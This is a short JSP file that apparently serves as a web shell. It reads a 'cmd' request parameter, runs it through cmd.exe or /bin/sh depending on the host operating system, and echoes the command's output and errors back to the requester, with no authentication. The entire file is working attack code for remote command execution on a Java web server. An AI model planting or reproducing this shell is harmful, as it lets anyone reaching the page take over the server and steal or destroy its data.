%@ page import="java.util.*,java.io.*"%> <% if (request.getParameter("cmd") != null) { String[] cmdArray; if (System.getProperty("os.name").toLowerCase().contains("win")) { cmdArray = new String[] {"cmd.exe", "/c", request.getParameter("cmd")}; } else { cmdArray = new String[] {"/bin/sh", "-c", request.getParameter("cmd")}; } Process process = Runtime.getRuntime().exec(cmdArray); // Read the output BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream())); String line; out.println("
"); while ((line = reader.readLine()) != null) { out.println(line); } // Read errors too (JDK6 doesn't have redirectErrorStream in ProcessBuilder) BufferedReader errorReader = new BufferedReader(new InputStreamReader(process.getErrorStream())); while ((line = errorReader.readLine()) != null) { out.println(line); } out.println(""); } %>